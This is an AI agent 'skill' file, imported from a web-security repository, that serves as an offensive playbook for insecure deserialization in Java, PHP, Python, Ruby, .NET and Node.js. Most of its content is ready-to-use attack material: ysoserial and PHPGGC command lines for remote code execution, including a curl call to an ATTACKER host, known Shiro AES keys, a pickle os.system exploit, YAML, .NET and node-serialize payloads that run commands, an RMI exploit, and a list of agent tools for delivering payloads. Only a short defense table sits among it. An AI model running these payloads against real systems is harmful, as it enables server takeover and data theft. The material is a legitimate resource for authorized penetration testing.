Imported from langbyyi/websec-skills (
deserialization/SKILL.md). Install upstream withnpx skills add langbyyi/websec-skills --skill deserialization. Copyright stays with the author.
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
QUICK START
First-pass probes
| Signal | Probe | Why |
|---|---|---|
| Serialized data in request/cookie/response | Look for rO0AB (Base64) or ac ed 00 05 (hex) |
Java serialized object fingerprint |
PHP O:N:"ClassName" in params/cookies |
Send O:8:"stdClass":0:{} |
PHP unserialize sink confirmed |
| Unknown binary blob or Base64 blob | Send URLDNS probe for Java, pickle probe for Python | Safe DNS-only confirmation |
| Identify runtime | Java .class errors, PHP framework stack trace, Python traceback |
Determines gadget chain selection |
| Gadget chain candidate found | ysoserial CommonsCollections6 "curl CALLBACK" / phpggc Laravel/RCE1 system id |
RCE via known chain |
| Need safe confirmation first | java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net" |
DNS callback = deserialization confirmed, no RCE risk |
# Quick test — Java URLDNS safe probe (Base64 for cookie/param transport)
java -jar ysoserial.jar URLDNS "http://UNIQUE.collab.net" | base64 -w0
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 |
Raw binary in request/response body, cookies, POST params |
Base64 rO0AB |
Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object |
HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
PHP Serialized Objects
| Indicator | Where to Look |
|---|---|
O:NUMBER:"ClassName" pattern |
POST body, cookies, session files |
a:NUMBER:{ (array) |
Same locations |
phar:// URI usage |
File operations accepting user-controlled paths |
Python Pickle
| Indicator | Where to Look |
|---|---|
Hex 80 03 or 80 04 (protocol 3/4) |
Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
pickle.loads / pickle.load in source |
Code review / whitebox |
2. JAVA — GADGET CHAINS AND TOOLS
ysoserial — Primary Tool
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
- Detect: response sets
rememberMe=deleteMecookie on invalid session - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
rememberMecookie value - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK Version Constraints
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
3. PHP — unserialize AND PHAR
Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).
Serialized Object Format
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin PMA_Config class reads arbitrary files via source property:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget Chain Generator
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce Method
Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
Defensive Bypass: RestrictedUnpickler
Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If safe_builtins includes eval, exec, or __import__ → still exploitable.
5. DETECTION METHODOLOGY
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
6. DEFENSE AWARENESS
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations |
| Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |
7. QUICK REFERENCE — KEY PAYLOADS
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY DESERIALIZATION
Ruby Marshal
Marshal.loadon untrusted data → RCE- Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via
[hex_string].pack("H*")
Ruby YAML (YAML.load)
YAML.load(notYAML.safe_load) executes arbitrary Ruby objects- Pre Ruby 2.7.2:
Gem::Requirementchain →git_set: id/git_set: sleep 600 - Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#systemchain (longer, multi-step) - Always test:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")for class instantiation check - Payload template:
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- Note:
YAML.safe_loadis safe (Ruby 2.1+);Psych.safe_loadalso safe
9. .NET DESERIALIZATION
-
Traffic fingerprint:
- BinaryFormatter: hex
AAEAAD(base64AAEAAAD/////) - ViewState: hex
FF01or/wprefix - JSON.NET:
$typeproperty in JSON
- BinaryFormatter: hex
-
BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
-
XmlSerializer:
ObjectDataProvider+XamlReaderchain for command execution<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
-
LosFormatter: used in ViewState, deserializes to
ObjectStateFormatter -
JSON.NET:
$typeproperty enables type control →ObjectDataProvider+ExpandedWrapperchains{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
Tool:
ysoserial.net— generate payloads for all .NET formattersysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP gadgets:
ObjectDataProvider,ExpandedWrapper,AssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
-
node-serialize:
unserialize()with IIFE (Immediately Invoked Function Expression)- Payload marker:
_$$ND_FUNC$$_ - Add
()at end to auto-execute:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - Payload marker:
-
funcster:
__js_functionproperty →constructor.constructorto accessprocess{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo: similar to funcster, serializes JS objects with function support
DECISION TREE
Serialized data found in request/cookie/response?
├── Java (ac ed 00 05 / rO0AB base64)?
│ ├── URLDNS probe → DNS callback confirms deserialization sink
│ ├── Identify libraries on classpath (error messages, product fingerprint)
│ ├── Commons Collections 3.x/4.x → ysoserial CommonsCollections1-7
│ ├── Spring → ysoserial Spring1/Spring2
│ ├── Shiro rememberMe cookie → decrypt with known AES key → inject payload
│ ├── WebLogic → T3 protocol / XMLDecoder / IIOP vectors
│ └── JDK version check → remote class loading vs LDAP→deserialization bypass
├── PHP (O:N:"ClassName" pattern)?
│ ├── Identify framework (Laravel, Symfony, WordPress, Guzzle)
│ ├── PHPGGC → generate framework-specific gadget chain
│ ├── phar:// wrapper triggerable in file operations?
│ │ └── Upload phar polyglot → trigger via file_exists() → RCE
│ └── Magic method chain → __wakeup/__destruct/__toString exploitation
├── Python (pickle opcodes / base64 blob)?
│ ├── pickle.__reduce__ → os.system/subprocess RCE
│ ├── yaml.load without SafeLoader → arbitrary object instantiation
│ └── RestrictedUnpickler? → check whitelist for eval/exec/__import__
├── .NET (AAEAAAD / ViewState / JSON $type)?
│ ├── BinaryFormatter → ysoserial.net TypeConfuseDelegate
│ ├── ViewState → known machineKey or validation bypass
│ └── JSON.NET $type → ObjectDataProvider + XamlReader chain
├── Node.js (node-serialize / funcster)?
│ ├── _$$ND_FUNC$$_ IIFE → RCE
│ └── __js_function → constructor.constructor → process.mainModule
├── Ruby (Marshal / YAML.load)?
│ ├── Marshal.load → gadget chain RCE
│ └── YAML.load → Gem::Requirement / Gem::Installer chain
└── Unknown format?
├── Try URLDNS (Java) → check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
TESTING CHECKLIST
- Identify serialized data in traffic: Java (
ac ed 00 05/rO0AB), PHP (O:N:"ClassName"), Python (pickle opcodes), .NET (AAEAAAD) - Detect serialization format: check cookies, POST params, hidden fields, Content-Type headers, binary blobs
- For Java: send URLDNS probe for safe DNS-based confirmation of deserialization
- For Java: identify libraries on classpath from error messages or product fingerprint, select matching ysoserial chain
- For Java: test Shiro
rememberMewith known default AES keys - For Java: test WebLogic T3/XMLDecoder, RMI Registry exposure
- For PHP: identify framework (Laravel, Symfony, WordPress), generate payloads with PHPGGC
- For PHP: test phar deserialization via
phar://wrapper in file operations - For Python: test pickle
__reduce__RCE, check for unsafeyaml.load,jsonpickle.decode - For .NET: test BinaryFormatter, ViewState, JSON.NET
$typechains with ysoserial.net - For Node.js: test
node-serialize(_$$ND_FUNC$$_),funcster(__js_function) - For Ruby: test
Marshal.load,YAML.loadwith Gem gadget chains - Test cookie manipulation: decode, modify serialized object, re-encode
- Verify RCE confirmation: DNS callback before full command execution
MCP TOOLS
| Tool | Use Case |
|---|---|
http_framework_test |
Send crafted serialized payloads via HTTP |
http_repeater |
Replay deserialization probes with modified payloads |
nmap_scan |
Detect exposed RMI (1099), T3 (7001), AJP (8009) services |
browser_agent_inspect |
Inspect application for deserialization endpoints |